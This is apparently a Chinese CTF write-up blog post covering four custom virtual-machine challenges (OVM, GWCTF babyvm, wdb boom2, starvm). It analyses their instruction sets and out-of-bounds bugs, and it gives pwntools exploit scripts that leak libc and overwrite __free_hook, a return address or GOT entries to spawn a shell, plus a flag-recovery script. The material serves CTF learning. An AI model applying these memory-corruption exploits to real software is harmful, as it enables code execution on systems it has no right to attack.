VMpwn

VM Pwn就是题目自定义了一套指令系统,并且模拟了一套CPU的环境(寄存器、栈、数据缓冲区等结构)需要通过逆向分析题目给定的指令系统,并利用其中的漏洞进行攻击

大部分漏洞都是数组越界!!

分析的时候要结合全局分析,先把总体架构搞清楚,如果只看部分很容易懵逼

OVM

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

比较入门的一道vm类题目了

通过一个数组模拟寄存器

程序实现了加减乘除左移右移压栈弹栈等操作

可以自己输入指令起始地址,指令数,栈起始等

程序的指令都是四字节的

字节从高到低分别是:指令码,左操作数,右操作数1,右操作数2

循环主体,不断取出指令下标并判断执行

1
2
3
4
5
while ( running )
{
v7 = fetch();
execute(v7);
}

利用的漏洞自然是指令没有对下标进行检查,能够覆写很多地方

在接收到结束指令后会打印所有寄存器的值,此时可以进行泄露

由于开启了FULL RELRO,因此选择覆写__free_hook

具体的利用步骤:

  1. 将got表中存储的libc相关地址分块存储到寄存器中,建议泄露stdin三个,距离__free_hook比较近
  2. 通过got表计算得到__free_hook-8的地址(不同libc不同偏移,要根据gdb调试判断)
  3. 覆写comment指针为__free_hook-8
  4. 向comment指针写入binsh字符串,并覆写__free_hook为system的地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
context.binary = './pwn'
#context.log_level = 'debug'
io = process('./pwn')
#elf = ELF('pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


#reg[v4] = reg[v2] + reg[v3]
def add(v4, v3, v2):
return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])

#reg[v4] = reg[v3] << reg[v2]


def left_shift(v4, v3, v2):
return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])

#reg[v4] = memory[reg[v2]]


def read(v4, v2):
return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])

#memory[reg[v2]] = reg[v4]


def write(v4, v2):
return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])

# reg[v4] = (unsigned __int8)v2


def setnum(v4, v2):
return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])


code = [
setnum(0, 8), # reg[0]=8
setnum(1, 0xff), # reg[1]=0xff
setnum(2, 0xff), # reg[2]=0xff
left_shift(2, 2, 0), # reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)
add(2, 2, 1), # reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
left_shift(2, 2, 0), # reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)
add(2, 2, 1), # reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
setnum(1, 0xc8), # reg[1]=0xc8
# reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)
left_shift(2, 2, 0),
# reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)
add(2, 2, 1),
read(3, 2), # reg[3]=memory[reg[2]]=memory[-56]
setnum(1, 1), # reg[1]=1
add(2, 2, 1), # reg[2]=reg[2]+reg[1]=-56+1=-55
read(4, 2), # reg[4]=memory[reg[2]]=memory[-55]
setnum(1, 0x16), # reg[1]=0x10
left_shift(1, 1, 0), # reg[1]=reg[1]<<8=0x10<<8=0x1000
setnum(0, 0xb0), # reg[0]=0x90
# reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
add(1, 1, 0),
add(3, 3, 1), # reg[3]=reg[3]+reg[1]
setnum(1, 47), # reg[1]=47
add(2, 2, 1), # reg[2]=reg[2]+2=-55+47=-8
write(3, 2), # memory[reg[2]]=memory[-8]=reg[3]
setnum(1, 1), # reg[1]=1
add(2, 2, 1), # reg[2]=reg[2]+1=-8+1=-7
write(4, 2), # memory[reg[2]]=memory[-7]=reg[4]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) # exit
]

io.recvuntil('PC: ')
io.sendline(str(0))
io.recvuntil('SP: ')
io.sendline(str(1))
io.recvuntil('SIZE: ')
io.sendline(str(len(code)))
io.recvuntil('CODE: ')
for i in code:
#sleep(0.2)
io.sendline(str(i))
io.recvuntil('R3: ')
#gdb.attach(io)
last_4bytes = int(io.recv(8), 16)+8
log.success('last_4bytes => {}'.format(hex(last_4bytes)))
io.recvuntil('R4: ')
first_4bytes = int(io.recv(4), 16)
log.success('first_4bytes => {}'.format(hex(first_4bytes)))

free_hook = (first_4bytes << 32)+last_4bytes
libc_base = free_hook-libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
log.success('free_hook => {}'.format(hex(free_hook)))
log.success('system_addr => {}'.format(hex(system_addr)))
#io.recvuntil('OVM?n')
#gdb.attach(io)
#pause()
io.sendline('/bin/sh\x00'+p64(system_addr))
io.interactive()

由于程序只有一次写入和free的机会,并且写入和free用的是同一个指针

因此部署binsh和覆写system要在一次完成

故选择comment写为__free_hook-8,这样先写binsh,再写system,之后又触发free(comment)实际上就已经变成了system(‘/bin/sh’)

[GWCTF 2019]babyvm

一道逆向VM题,头大

初始化操作,前四个模拟寄存器,unk_202060存存储指令码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
nsigned __int64 __fastcall initt(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 18;
*(_DWORD *)(a1 + 8) = 0;
*(_DWORD *)(a1 + 12) = 0;
*(_QWORD *)(a1 + 16) = &unk_202060;
*(_BYTE *)(a1 + 24) = 0xF1;
*(_QWORD *)(a1 + 32) = sub_B5F;
*(_BYTE *)(a1 + 40) = 0xF2;
*(_QWORD *)(a1 + 48) = sub_A64;
*(_BYTE *)(a1 + 56) = 0xF5;
*(_QWORD *)(a1 + 64) = sub_AC5;
*(_BYTE *)(a1 + 72) = 0xF4;
*(_QWORD *)(a1 + 80) = sub_956;
*(_BYTE *)(a1 + 88) = 0xF7;
*(_QWORD *)(a1 + 96) = sub_A08;
*(_BYTE *)(a1 + 104) = 0xF8;
*(_QWORD *)(a1 + 112) = sub_8F0;
*(_BYTE *)(a1 + 120) = 0xF6;
*(_QWORD *)(a1 + 128) = sub_99C;
qword_2022A8 = malloc(0x512uLL);
memset(qword_2022A8, 0, 0x512uLL);
return __readfsqword(0x28u) ^ v2;
}

F1,F2等操作码各自对应着函数

0xF1 实现mov操作
0xF2 寄存器1异或寄存器2
0xF5 读入并判断长度
0xF4 nop
0xF7 寄存器1乘寄存器4
0xF8 寄存器1交换寄存器2
0xF6 寄存器1=2寄存器2+3\寄存器3+寄存器1

提取出0x202060处的指令后脚本处理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
opcode=[0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 
0x20, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x21, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x22, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x23,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x24, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x25, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x26, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x27, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x28, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x09, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x29, 0x00, 0x00,
0x00, 0xF1, 0xE1, 0x0A, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x2A, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0B, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x2B, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0C,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2C, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2D,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x2E, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2F, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x10, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x30, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x11, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x31, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x12, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x32, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x13, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x33, 0x00, 0x00,
0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xF1,
0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00,
0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1,
0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00,
0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1,
0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09,
0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6,
0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1,
0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00,
0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E,
0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x11, 0x00, 0x00, 0x00, 0xF4]
i = 0
for i in range(len(opcode)):
if (opcode[i] == 0xF1):
print('mov ', end='')
if (opcode[i + 1] == 0xE1):
print('eax ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE2):
print('ebx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE3):
print('ecx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE4):
print('flag[' + str(opcode[i + 2]) + '] ' + 'eax')
elif (opcode[i + 1] == 0xE5):
print('edx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE7):
print('flag[' + str(opcode[i + 2]) + '] ' + 'ebx')
i += 6
elif (opcode[i] == 0xF2):
print('xor eax ebx')
i += 1
elif (opcode[i] == 0xF5):
print('read')
i += 1
elif (opcode[i] == 0xF4):
print('nop')
i += 1
elif (opcode[i] == 0xF7):
print('mul eax edx')
i += 1
elif (opcode[i] == 0xF8):
print('swap eax ebx')
i += 1
elif (opcode[i] == 0xF6):
print('mov eax=3*eax+2*ebx+ecx')
i += 1
else:
i += 1

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
read
mov eax flag[0]
xor eax ebx
mov flag[32] eax
mov eax flag[1]
xor eax ebx
mov flag[33] eax
mov eax flag[2]
xor eax ebx
mov flag[34] eax
mov eax flag[3]
xor eax ebx
mov flag[35] eax
mov eax flag[4]
xor eax ebx
mov flag[36] eax
mov eax flag[5]
xor eax ebx
mov flag[37] eax
mov eax flag[6]
xor eax ebx
mov flag[38] eax
mov eax flag[7]
xor eax ebx
mov flag[39] eax
mov eax flag[8]
xor eax ebx
mov flag[40] eax
mov eax flag[9]
xor eax ebx
mov flag[41] eax
mov eax flag[10]
xor eax ebx
mov flag[42] eax
mov eax flag[11]
xor eax ebx
mov flag[43] eax
mov eax flag[12]
xor eax ebx
mov flag[44] eax
mov eax flag[13]
xor eax ebx
mov flag[45] eax
mov eax flag[14]
xor eax ebx
mov flag[46] eax
mov eax flag[15]
xor eax ebx
mov flag[47] eax
mov eax flag[16]
xor eax ebx
mov flag[48] eax
mov eax flag[17]
xor eax ebx
mov flag[49] eax
mov eax flag[18]
xor eax ebx
mov flag[50] eax
mov eax flag[19]
xor eax ebx
mov flag[51] eax
nop
#上面部分是误解
read

mov eax flag[0]
mov ebx flag[1]
xor eax ebx
mov flag[0] eax

mov eax flag[1]
mov ebx flag[2]
xor eax ebx
mov flag[1] eax

mov eax flag[2]
mov ebx flag[3]
xor eax ebx
mov flag[2] eax

mov eax flag[3]
mov ebx flag[4]
xor eax ebx
mov flag[3] eax

mov eax flag[4]
mov ebx flag[5]
xor eax ebx
mov flag[4] eax

mov eax flag[5]
mov ebx flag[6]
xor eax ebx
mov flag[5] eax


mov eax flag[6]
mov ebx flag[7]
mov ecx flag[8]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[6] eax

mov eax flag[7]
mov ebx flag[8]
mov ecx flag[9]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[7] eax

mov eax flag[8]
mov ebx flag[9]
mov ecx flag[10]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[8] eax

mov eax flag[13]
mov ebx flag[19]
swap eax ebx
mov flag[13] eax
mov flag[19] ebx

mov eax flag[14]
mov ebx flag[18]
swap eax ebx
mov flag[14] eax
mov flag[18] ebx

mov eax flag[15]
mov ebx flag[17]
swap eax ebx
mov flag[15] eax
mov flag[17] ebx
nop

从读入长度以及0x2020a8引用判断下面部分才是真正的逆向块

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 sub_F00()
{
int i; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
for ( i = 0; dword_2022A4 - 1 > i; ++i )
{
if ( *((_BYTE *)qword_2022A8 + i) != byte_202020[i] )
exit(0);
}
return __readfsqword(0x28u) ^ v2;
}

真正的加密逻辑:

1
2
3
4
5
6
7
8
9
flag = ''    
for i in range(6)::
flag[i] = flag[i]^flag[i + 1]
flag[6] = (flag[8]+2*flag[7]+3*flag[6])*flag[12]
flag[7] = (flag[9]+2*flag[8]+3*flag[7])*flag[12]
flag[8] = (flag[10]+2*flag[9]+3*flag[8])*flag[12]
swap(flag[13], flag[19])
swap(flag[14], flag[18])
swap(flag[15], flag[17])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
check = [0x69, 0x45, 0x2A, 0x37, 0x09, 0x17, 0xC5, 0x0B, 0x5C, 0x72,
0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5F, 0x33, 0x73, 0x72]

check[13], check[19] = check[19], check[13]
check[14], check[18] = check[18], check[14]
check[15], check[17] = check[17], check[15]

for i in range(128):
if check[8] == ((i*3 + check[9]*2 + check[10])*check[12])&0xff:
check[8] = i
for j in range(128):
if check[7] == ((j * 3 + check[8] * 2 + check[9]) * check[12]) & 0xff:
check[7] = j
for k in range(128):
if check[6] == ((k * 3 + check[7] * 2 + check[8]) * check[12]) & 0xff:
check[6] = k

for i in range(6)[::-1]:
check[i] ^= check[i+1]

flag = ''
for i in range(len(check)):
flag += chr(check[i])
print(flag)

wdb_2020_1st_boom2

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/boom'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

ida打开发现存在类似平坦化混淆的东西

不过影响不大

申请了两个0x40000得堆块分别用作栈和数据缓冲区,并且初始化栈:

1
2
3
4
5
1        30
2 13
3 0
4 真实栈地址
5 虚拟栈地址

vm题比较麻烦的点就是分析指令,以及确定各内存如何对应模拟环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0 immcode: reg=[sp+immcode]
1 immcode: reg=immcode
6 immcode: push bp; bp=sp; sp-=immcode
8 immcode: leave; ret
9 : reg=[reg]
10 : reg=char([reg])
11 : [sp]=reg(int64)
12 : [sp]=reg(byte)
13 : push reg
14 : [sp]=[sp] | reg
15 : [sp]=[sp] ^ reg
16 : [sp]=[sp] & reg
17 : [sp]=[sp] == reg
18 : [sp]=[sp] != reg
19 : [sp]=[sp] < reg
20 : [sp]=[sp] > reg
21 : [sp]=[sp] <= reg
22 : [sp]=[sp] >= reg
23 : [sp]=[sp] << reg
24 : [sp]=[sp] >> reg
25 : [sp]=[sp] + reg
26 : [sp]=[sp] - reg
27 : [sp]=[sp] * reg
28 : [sp]=[sp] / reg
29 : [sp]=[sp] % reg
30 : exit

因为栈中存储有真实的栈地址,所以我们可以利用它来覆盖返回地址

步骤:

  1. 首先进行一次pop将初始栈顶的bp pop出来,随便一个改变栈的指令就行
  2. 这时栈顶就是真实栈指针了,然后利用指令1将reg寄存器置为便宜0xe8,然后利用指令26,让栈指针减0xe8,并利用指令13将结果重新入栈
  3. 使用指令9取值,获取返回地址处的值(也就是libc_start_main+231的地址),并用13指令将获取到的值入栈
  4. 利用指令1将reg置为libc_start_main+231的偏移值offset,然后利用指令26让libc_start_main+231地址减偏移,得到libc的基址,并用13指令将获取到的libc基址入栈
  5. 利用指令1将reg置为onegadget的偏移offset,然后利用指令25计算出libc基址加onegadget偏移,也就是onegadget的地址
  6. 这时栈顶是之前步骤2入栈的返回地址指针,利用指令11将onegadget写入覆盖返回地址
  7. 然后直接发送即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import * 
context.terminal=['tmux','splitw','-h']
p=process("./pwn")

libc231=基址偏移
onegadget=可用one_gadget
print p.recv()

payload=p64(14) #步骤1
payload+=p64(1)+p64(0xe8)+p64(26)+p64(13) #步骤2
payload+=p64(9)+p64(13) #步骤3
payload+=p64(1)+p64(libc231)+p64(26)+p64(13) #步骤4
#现在 stack 返回地址所在的栈
# libc基址
payload+=p64(1)+p64(onegadget)+p64(25) #步骤5 reg=one_gadget
payload+=p64(11) #步骤6
p.send(payload) #步骤7

p.interactive()

starvm

vm类题

checksec,没有PIE利用会稍微简单一些

1
2
3
4
5
6
7
[*] '/home/aichch/pwn/starvm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
FORTIFY: Enabled

代码有点难读,gdb动态调试参照

初始malloc申请了0x80的内存

1
2
3
4
5
6
7
8
0h   *code_begin
8h *code_end
... ??
24h *cost
... ??
38h regs(Dword)
...
70h mem

程序在读入command和cost后做出一些判断,然后进入虚拟机操作中

存在两个重要的变量分别负责指向当前code和当前cost

10号功能给寄存器赋值,溢出可以修改后面的mem指针

7号指令可以往mem指向处任意写,两者配合其他指令

具体实施:

  1. 10号指令覆写mem指针为setvbuf的got表地址,利用减法得到system,利用7号指令将其修改
  2. 10号指令覆写mem指针为malloc的got表地址,7号指令将其写为调用setvbuf的地址
  3. 10号指令覆写mem指针为stdin的地址,将其修改为bss段上另一处地址,并在该处写上sh字符串
  4. 10号指令覆写mem指针为0使得再次调用相关功能时启用malloc,总而执行以上布置的执行流

要注意指令是4字节Dword的,下标要对应

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.arch='amd64'
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.34-0ubuntu3_amd64/libc.so.6')
sh = process('./starvm')

cmd = [10, 6, 10, 3, 7, 10, 10, 7, 7, 10, 10, 10, 7, 7, 7, 10, 6]
sh.sendlineafter(b'command:\n', ' '.join([str(v) for v in cmd]).encode() + b' 16')

gdb.attach(sh,'b system')
pause()
cost = [14, 0x404020, # 10 setvbuf@got
0, 0, # 6 #mem[0]->reg[0]
1, 0x30b90, # 10 根据libc修改
0, 1, # 3 reg[0]-=reg[1]
0, 0, # 7 mem[0]=reg[0]
14, 0x404070, # 10 malloc@got
0, 0x401270, # 10 trigger setvbuf
0, 0, # 7 mem[0]<-reg[1]
2, 1, # 7 mem[1]<-reg[2]清空malloc高地址
14, 0x4040D0, # 10 &stdin
0, 0x4040D8, # 10 save 'sh'
1, 0x6873, # 10 'sh'
0, 0, # 7 mem[0]<-reg[0]
2, 1, # 7 mem[1]<-reg[2]
1, 2, # 7 mem[2]<-reg[1]
14, 0, # 10 clear mem
0, 0, # 6 trigger malloc
0xdeadbeef]

sh.sendlineafter(b'your cost:\n', '\n'.join([str(v) for v in cost]).encode())

sh.interactive()